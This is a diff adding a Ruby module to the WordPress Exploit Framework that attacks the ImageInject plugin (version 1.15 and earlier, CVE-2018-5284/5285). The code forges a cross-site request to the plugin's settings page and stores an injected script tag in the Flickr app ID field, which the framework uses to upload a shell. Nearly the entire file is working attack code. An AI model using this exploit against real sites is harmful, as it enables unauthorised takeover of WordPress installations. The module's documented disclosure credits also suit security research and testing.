|
| 1 | +# frozen_string_literal: true |
| 2 | + |
| 3 | +class Wpxf::Exploit::ImageInjectCsrfStoredXssShellUpload < Wpxf::Module |
| 4 | + include Wpxf::WordPress::StagedReflectedXss |
| 5 | + |
| 6 | + def initialize |
| 7 | + super |
| 8 | + |
| 9 | + update_info( |
| 10 | + name: 'ImageInject <= 1.15 CSRF Stored XSS Shell Upload', |
| 11 | + author: [ |
| 12 | + 'd4wner', # Disclosure |
| 13 | + 'rastating' # WPXF module |
| 14 | + ], |
| 15 | + references: [ |
| 16 | + ['WPVDB', '8994'], |
| 17 | + ['CVE', '2018-5284'], |
| 18 | + ['CVE', '2018-5285'] |
| 19 | + ], |
| 20 | + date: 'Jan 04 2018' |
| 21 | + ) |
| 22 | + end |
| 23 | + |
| 24 | + def check |
| 25 | + check_plugin_version_from_readme('wp-inject', '1.16') |
| 26 | + end |
| 27 | + |
| 28 | + def vulnerable_url |
| 29 | + "#{normalize_uri(wordpress_url_admin, 'options-general.php')}?page=wpdf-options" |
| 30 | + end |
| 31 | + |
| 32 | + def initial_script |
| 33 | + create_basic_post_script( |
| 34 | + vulnerable_url, |
| 35 | + 'save_options' => 'Save All Settings', |
| 36 | + 'flickr_enabled' => '1', |
| 37 | + 'flickr_appid' => "251f306e19c56bb3c8a2a9b2bd7a076a\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>", |
| 38 | + 'flickr_license' => '4,5,6,7', |
| 39 | + 'flickr_sort' => 'relevance', |
| 40 | + 'pixabay_enabled' => '1', |
| 41 | + 'pixabay_image_type' => 'all', |
| 42 | + 'general_save_images' => '1', |
| 43 | + 'general_feat_img_size' => 'medium', |
| 44 | + 'general_default_align' => 'none', |
| 45 | + 'general_attr_location' => 'caption', |
| 46 | + 'general_items_per_req' => '40', |
| 47 | + 'advanced_img_template' => '<img title=\"{title} by {author}\" alt=\"{keyword} photo\" src=\"{src}\" />', |
| 48 | + 'advanced_attr_template' => '<small>Photo by <a href=\"{link}\" target=\"_blank\">{author}</a> {cc_icon}</small>', |
| 49 | + 'advanced_attr_template_multi' => '<small>Photos by {linklist}</small>', |
| 50 | + 'advanced_filename_template' => '{filename}_{keyword}' |
| 51 | + ) |
| 52 | + end |
| 53 | +end |
0 commit comments